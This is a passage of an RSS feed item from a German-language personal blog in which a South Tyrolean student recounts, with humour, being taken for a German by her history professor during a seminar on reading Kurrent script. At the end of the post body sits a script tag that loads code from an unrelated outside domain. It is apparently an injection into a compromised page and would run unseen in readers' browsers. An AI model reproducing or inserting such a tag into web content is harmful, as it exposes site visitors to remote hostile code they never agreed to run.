<em>Bescheinigung über die Sprachgruppenzugehörigkeit der DEUTSCHEN Sprachgruppe</em> bin, hat es so manche Zweifler gegeben. &#8220;Dieser Wisch&#8221; so hieß es, &#8220;befähigt dich noch lange nicht zu einer perfekt glatten, schnittigen, allen verständlichen Sprechweise!&#8221;. Oder so ähnlich. Da mag der<a href="http://de.wikipedia.org/wiki/Fortis"> Fortis- und</a> <a href="http://de.wikipedia.org/wiki/Lenis">Lenis</a><a href="http://de.wikipedia.org/wiki/Obstruent">obstruenten</a><a href="http://de.wikipedia.org/wiki/S#Das_S_in_der_deutschen_Sprache">experte</a> vielleicht recht gehabt haben &#8211; doch nach jahrelanger Übung bin ich endlich, endlich ob meines makellosen (hehe) Gebrauchs der deutschen Standardsprache als Bundesdeutsche eingeordnet worden. Und damit hat sich das auch erledigt.</p>
<p>Das Magische geschah vor ungefähr acht Stunden, in einem Geschichteseminar, als wir ein Rezept für eine schmackhafte Rotkäppchen Torte aus der <a href="http://www.kurrent.de/">Kurrentschrift </a>transkribierten (Ja, sowas macht man an der Uni. Ernsthaft. Und nein, das ist <a href="http://sweb.cz/antonin.kavalec/bilder/kurrent_1-small.jpg">nicht </a><a href="http://www.scribere-scribo-scriptum.de/scribere-scribo-scriptum/Images/kurrent.jpg">einfach</a>. ) und &#8220;Quark&#8221; (übrigens sehr schwer zu entziffern) vorkam, den der Österreicher (und auch die Südtirolerin) unter der viel sympathischeren Bezeichnung &#8220;Topfen&#8221; kennt. Es kam, wie es kommen musste, ein paar freundliche Worte über die bundesdeutschen Nachbarn fielen, und dann, dann meinte mein Professor plötzlich &#8220;Nicht, dass sie mich falsch verstehen, liebe Kollegen.   Vor allem Sie, Frau Kollegin Gan, sie kommen, glaub` ich, ja aus Deutschland&#8230;&#8221;.</p>
<p>Es ist geschafft. Ich kann jetzt wieder reden, wie ich will, ohne mich darum zu kümmern, ob man mich versteht. Denn ich kann es. Ich kann glattes geschliffenes &#8220;Hochdeutsch&#8221; sprechen.  All die &#8220;häh?&#8221;, die  &#8220;Was sprichst du denn für einen komischen Dialekt?&#8221; und  &#8220;Südtiroler können doch kein Deutsch!&#8221; sind vergessen, alle Zweifel begraben. Ich bin glücklich.</p>
<p>Meine schlagfertige Antwort war übrigens &#8220;Nein&#8230; äh&#8230; aus Italien&#8230; Südtirol&#8221;. Daran muss ich noch arbeiten.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ibegan.net/archives/108/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
  
